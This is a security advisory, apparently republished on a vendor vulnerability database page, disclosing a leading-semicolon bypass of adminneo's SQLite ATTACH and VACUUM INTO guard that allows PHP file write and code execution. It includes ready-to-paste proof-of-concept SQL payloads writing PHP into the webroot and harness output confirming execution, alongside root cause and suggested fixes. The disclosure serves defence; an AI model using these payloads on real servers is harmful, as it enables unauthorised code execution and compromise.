GHSA-q5vv-mh5m-fxvm: 
PHP Análisis y mitigación de vulnerabilidades

Summary

The SQLite guard that blocks ATTACH and VACUUM ... INTO in the SQL command page can be bypassed with a leading semicolon. A logged-in user can therefore write a file to any path the web server can write to, and run code on the server. This is a new bypass of the same guard that was hardened for CVE-2026-96634 (ATTACH filter bypass, ZDI) and CVE-2026-96630 (VACUUM INTO). The guard now handles the preg_match() return value correctly and also covers VACUUM ... INTO, but both branches are still defeated.

Affected code

admin/sql.inc.php:149 on main (same check at admin/sql.inc.php:147 in v5.8.0):

if (DIALECT == "sqlite" && preg_match("~^$space*+(ATTACH|VACUUM\\b.*\\bINTO)\\b~is", $q, $match) !== 0) {

admin/sql.inc.php:65 defines what may precede the keyword:

$space = "(?:\\s|/\\*[\s\S]*?\\*/|(?:$line_comment)[^\n]*\n?|--\r?\n)";

$space covers whitespace, block comments and line comments. It does not cover ;.

Root cause

Three facts combine:

  1. The check is anchored with ^, so the blocked keyword must be the first token of the chunk $q.
  2. SQLite skips a leading ; as an empty statement and then compiles and runs the statement that follows. $space does not match ;, so the regular expression does not match.
  3. admin/sql.inc.php:89 lets the client change the statement delimiter with DELIMITER. The splitter then cuts chunks at that delimiter instead of ;, so a ; can appear at the start of a chunk. With the default delimiter a leading ; always ends its own chunk, so the keyword still starts the next chunk. After DELIMITER | the whole string ;ATTACH ... ;| becomes one chunk. The regular expression sees ; first and does not match. Connection::multiQuery() then passes the chunk to SQLite3::query(), which skips the ; and runs the ATTACH. The same bypass works through the SQL import form, because get_file("sql_file", true, ";") feeds the same loop.

Proof of concept

Log in to a SQLite connection, open the SQL command page, and run:

DELIMITER |
;ATTACH DATABASE '/var/www/html/pwn.php' AS pwn;|
CREATE TABLE pwn.t (c text);|
INSERT INTO pwn.t VALUES ('<?php echo "RCE-OK"; ?>');|

pwn.php is created and contains the text. Requesting it runs the PHP code. The SQLite file header is not valid PHP, but PHP ignores everything outside <?php ?>, so the payload still runs. This is the same final step as CVE-2026-96630. The VACUUM ... INTO branch falls to the same trick:

DELIMITER |
;VACUUM main INTO '/var/www/html/pwn2.php';|

Using the line comment token as the delimiter also works, and needs no trailing ;:

DELIMITER --
;ATTACH DATABASE '/var/www/html/pwn3.php' AS pwn--

Measured evidence

I could not serve the application in my sandbox, so I drove the vulnerable path with a harness that copies the splitter and the guard from admin/sql.inc.php (lines 65, 80, 89-150) without changes, against a real SQLite3 connection on PHP 8.5.12. Each chunk is printed with the guard's verdict.

--- baseline (plain ATTACH) ---
  [BLOCKED] "ATTACH DATABASE '.../webroot/a.php' AS pwn;"
  => no file
--- baseline (plain VACUUM INTO) ---
  [BLOCKED] "VACUUM main INTO '.../webroot/b.php';"
  => no file
--- bypass A: DELIMITER | + leading ; ---
  [ALLOWED] ";ATTACH DATABASE '.../webroot/c.php' AS pwn;|"
  => FILE WRITTEN (0 bytes)
--- bypass B: DELIMITER --  ---
  [ALLOWED] ";ATTACH DATABASE '.../webroot/d.php' AS pwn--"
  => FILE WRITTEN (0 bytes)
--- bypass C: VACUUM INTO ---
  [ALLOWED] ";VACUUM main INTO '.../webroot/e.php';"
  => FILE WRITTEN (4096 bytes)
--- full chain: arbitrary PHP file write ---
  [ALLOWED] ";ATTACH DATABASE '.../webroot/shell.php' AS pwn;|"
  [ALLOWED] "CREATE TABLE pwn.x (c text);|"
  [ALLOWED] "INSERT INTO pwn.x VALUES ('<?php echo "RCE-OK:", PHP_VERSION; ?>');|"
  => shell.php written (8192 bytes)
  => executing it as PHP would print: SQLite format 3 [...] RCE-OK:8.5.12

The baselines confirm the guard works against the direct form. The last line is the written file run through the PHP interpreter. It printed RCE-OK:8.5.12, so the file holds code that the attacker chose. I also checked the engine behavior on its own:

sqlite3: plain ATTACH                 ret=true  FILE=CREATED
sqlite3: SELECT 1; ATTACH             ret=true  FILE=-
sqlite3: leading semicolon ATTACH     ret=true  FILE=CREATED
sqlite3: ;;ATTACH                     ret=true  FILE=CREATED
sqlite3: leading ; + newline          ret=true  FILE=CREATED

SQLite3::query() runs only the first statement, so a second statement after ; is not a route. A leading ; is. Please confirm on a live instance through the UI. The payloads above are the complete input for the SQL command textarea.

Versions checked

  • main at commit d3f73e467fc8304ca65ed440f5c7c829cdaa6aa9 (VERSION = "5.8.1-dev"), guard at line 149.
  • Release v5.8.0, guard at line 147, DELIMITER handling at line 89. The regular expression is byte for byte the same. Both are in the supported set named in docs/security.md.

Preconditions

A user who can log in and reach the SQL command page on a SQLite connection. The web server process must be able to write to the chosen path. This is the same position as CVE-2026-96634 and CVE-2026-96630.

Severity

I suggest medium, to match your rating of CVE-2026-96634, although the result is code execution on the server. Please rate it as you see fit.

Suggested fix

A deny list in front of the SQLite parser has now failed three times, so I suggest removing the need for it:

  1. Open the SQLite connection with SQLITE_DBCONFIG_DEFENSIVE and, more to the point, use sqlite3_db_config(db, SQLITE_DBCONFIG_ENABLE_ATTACH_WRITE, 0, 0) if the extension exposes it. This stops the write at the engine.
  2. If the check must stay in PHP, do not try to find the first keyword with a regular expression. Strip leading ; as well as whitespace and comments in a loop until the text does not change, then test the keyword. Note that a plain ; is not the only form; $space also needs to keep its current alternatives.
  3. Reject DELIMITER when DIALECT == "sqlite", since SQLite has no stored programs that need it. This removes the step that lets a ; reach the start of a chunk, and is a small change on its own. Point 2 alone fixes the reported input. Point 1 is the durable fix.

Fuente: NVD

Relacionado PHP Vulnerabilidades:

CVE ID

Gravedad

Puntuación

Tecnologías

Nombre del componente

Exploit CISA KEV

Tiene solución

Fecha de publicación

GHSA-25rf-99hr-7pmrHIGH8.1
  • PHP logoPHP
  • codeigniter4/framework
NoSíNov 01, 2026
GHSA-rgjx-wcgv-pw7gHIGH7.5
  • PHP logoPHP
  • adminneo-org/adminneo
NoSíNov 01, 2026
GHSA-ggh8-3chg-48w7HIGH7.2
  • PHP logoPHP
  • adminneo-org/adminneo
NoSíNov 01, 2026
GHSA-g478-vjq4-75hfMEDIUM5.3
  • PHP logoPHP
  • mage-os/module-blog
NoSíNov 02, 2026
GHSA-q5vv-mh5m-fxvmMEDIUMN/A
  • PHP logoPHP
  • adminneo-org/adminneo
NoSíNov 01, 2026

Evaluación gratuita de vulnerabilidades

Haz un benchmark de tu postura de seguridad en la nube

Evalúa tus prácticas de seguridad en la nube en 9 dominios de seguridad para evaluar tu nivel de riesgo e identificar brechas en tus defensas.

Evaluación de solicitudes

Recursos adicionales de Wiz

Obtén una demostración personalizada

¿Listo para ver a Wiz en acción?

"La mejor experiencia de usuario que he visto en mi vida, proporciona una visibilidad completa de las cargas de trabajo en la nube."
David EstlickCISO
"Wiz proporciona un panel único para ver lo que ocurre en nuestros entornos en la nube."
Adam FletcherJefe de Seguridad
"Sabemos que si Wiz identifica algo como crítico, en realidad lo es."
Greg PoniatowskiJefe de Gestión de Amenazas y Vulnerabilidades